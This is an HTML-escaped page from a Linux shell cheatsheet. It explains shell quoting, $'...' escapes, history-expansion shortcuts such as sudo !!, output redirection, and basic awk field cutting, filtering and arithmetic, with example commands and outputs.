&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; ~/.zshrc&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;source&lt;/span&gt; ~/.zshrc&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Tree view of files.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;tree&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;strings&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#strings&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Strings&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Double-Quotes vs. Single-Quotes&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Double-quotes allow variable expansion and command substitution.&lt;/li&gt;
&lt;li&gt;Single-quotes don&#39;t. &lt;strong&gt;Prefer single-quotes for simple strings.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$((&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;))&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token environment constant&quot;&gt;$SHELL&lt;/span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;2 /bin/zsh&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;$((1+1))&#39;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;$SHELL&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;$((1+1)) $SHELL&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Multi-Line / Escape&lt;/strong&gt;&lt;br /&gt;
Prefix the string with &lt;code&gt;$&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;$&#39;...&#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;escape-single-quotes&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#escape-single-quotes&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Escape Single-Quotes&lt;/h4&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Multi-Line Strings.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;$&#39;1&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;2&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;3&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;3&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Find words containing &lt;code&gt;&#39;t&lt;/code&gt; in comma-separated line.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;$&#39;can&#92;&#39;t,don&#92;&#39;t,I&#92;&#39;ll,I&#92;&#39;m,won&#92;&#39;t&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-vRS&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;, &lt;span class=&quot;token string&quot;&gt;$&#39;$0 ~ /&#92;&#39;t/&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;can&#39;t&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;don&#39;t&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;won&#39;t&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;previous-command-tricks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#previous-command-tricks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Previous-Command Tricks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$?&lt;/code&gt;: exit code of previous command
&lt;ul&gt;
&lt;li&gt;By convention, 0 means no error. Non-0 implies an error occurred.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!!&lt;/code&gt;: previous command&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!$&lt;/code&gt; or &lt;code&gt;$_&lt;/code&gt;: last argument of previous command&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Examples&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Retry with sudo.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; /var/tmp/lol&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Permission denied.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;→ sudo mkdir /var/tmp/lol&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Success!&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Found an interesting directory, but forgot to &lt;em&gt;cd&lt;/em&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ls&lt;/span&gt; long/path&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;$&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;→ cd long/path&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Rename file in folder from file.txt to booyah.md.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;cat&lt;/span&gt; long/path/file.txt&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;mv&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;!$&quot;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;dirname&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;$&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;/booyah.md&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;→ mv long/path/file.txt long/path/booyah.md&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Other Useful Commands&lt;/strong&gt;
(stolen from &lt;a href=&quot;https://stackoverflow.com/a/36654936/10239789&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;!!:n&lt;/code&gt; - nth argument from previous command&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!^&lt;/code&gt; - first argument (after the program/built-in/script) from previous command&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!*&lt;/code&gt; - all arguments from previous command&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!n&lt;/code&gt; - command number &lt;code&gt;n&lt;/code&gt; from &lt;code&gt;history&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!pattern&lt;/code&gt; - most recent command matching &lt;code&gt;pattern&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!!:s/find/replace&lt;/code&gt; - last command, substitute &lt;code&gt;find&lt;/code&gt; with &lt;code&gt;replace&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;redirection&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#redirection&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Redirection&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; out.txt &lt;span class=&quot;token comment&quot;&gt;# Read from file (to stdin).&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; out.txt &lt;span class=&quot;token comment&quot;&gt;# Write to file (from stdout).&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; out.txt &lt;span class=&quot;token comment&quot;&gt;# Append to file (from stdout).&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&amp;gt;&lt;/span&gt; out.txt &lt;span class=&quot;token comment&quot;&gt;# Write to file (from stderr).&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;gt;&lt;/span&gt; out.txt &lt;span class=&quot;token comment&quot;&gt;# Redirect all output.&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;gt;&lt;/span&gt; /dev/null &lt;span class=&quot;token comment&quot;&gt;# Redirect everything into the void.&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;&amp;amp;1&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Redirect stderr to stdout.&lt;/span&gt;

&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Same as `&amp;amp;&amp;gt;`.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;powerful-utilities&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#powerful-utilities&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Powerful Utilities&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;awk&lt;/code&gt;: filter lines, filter columns, math, scripting, etc.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sed&lt;/code&gt;: filter/replace text&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grep&lt;/code&gt;: filter lines&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cut&lt;/code&gt;: filter columns&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tr&lt;/code&gt;: replace/remove characters&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wc&lt;/code&gt;: count characters/bytes/words&lt;/li&gt;
&lt;li&gt;&lt;code&gt;find&lt;/code&gt;: find files in folder, execute command for each file with &lt;code&gt;-exec&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xargs&lt;/code&gt;: feed arguments into commands, simple cmdline multi-processing&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I won&#39;t cover too much of these commands here, as tons of articles already cover them. And you can browse examples online or in their &lt;code&gt;man&lt;/code&gt; pages.&lt;/p&gt;
&lt;h3 id=&quot;awkward-things&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#awkward-things&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; awkward things&lt;/h3&gt;
&lt;h4 id=&quot;awk-cut&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#awk-cut&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; awk - Cut&lt;/h4&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Cut third field.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;$0=$3&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Print third field. (Pretty much same as the command above.)&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;{print $3}&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Use &#39;,&#39; as field delimiter, e.g. for CSVs.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;awk&lt;/span&gt; -F, &lt;span class=&quot;token string&quot;&gt;&#39;{print $3}&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Or use the script variable `FS` (Field Separator).&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;FS&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;, &#39;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;print &lt;span class=&quot;token variable&quot;&gt;$3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;awk-filtering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#awk-filtering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; awk - Filtering&lt;/h4&gt;
&lt;p&gt;Without entering the scripting environment &lt;code&gt;{...}&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt; will run filters against each line.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;seq&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;$1 % 2 == 1&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;3&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;$&#39;foo1&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;bar1&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;foo2&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;$0 ~ /^foo/&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;foo1&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;foo2&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;awk-math&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#awk-math&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; awk - Math&lt;/h4&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Add 5 to the first arg, then print the line.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;{$1 += 5}1&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;seq&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;{$1 += 5}1&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;6&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;7&lt;/span&gt;
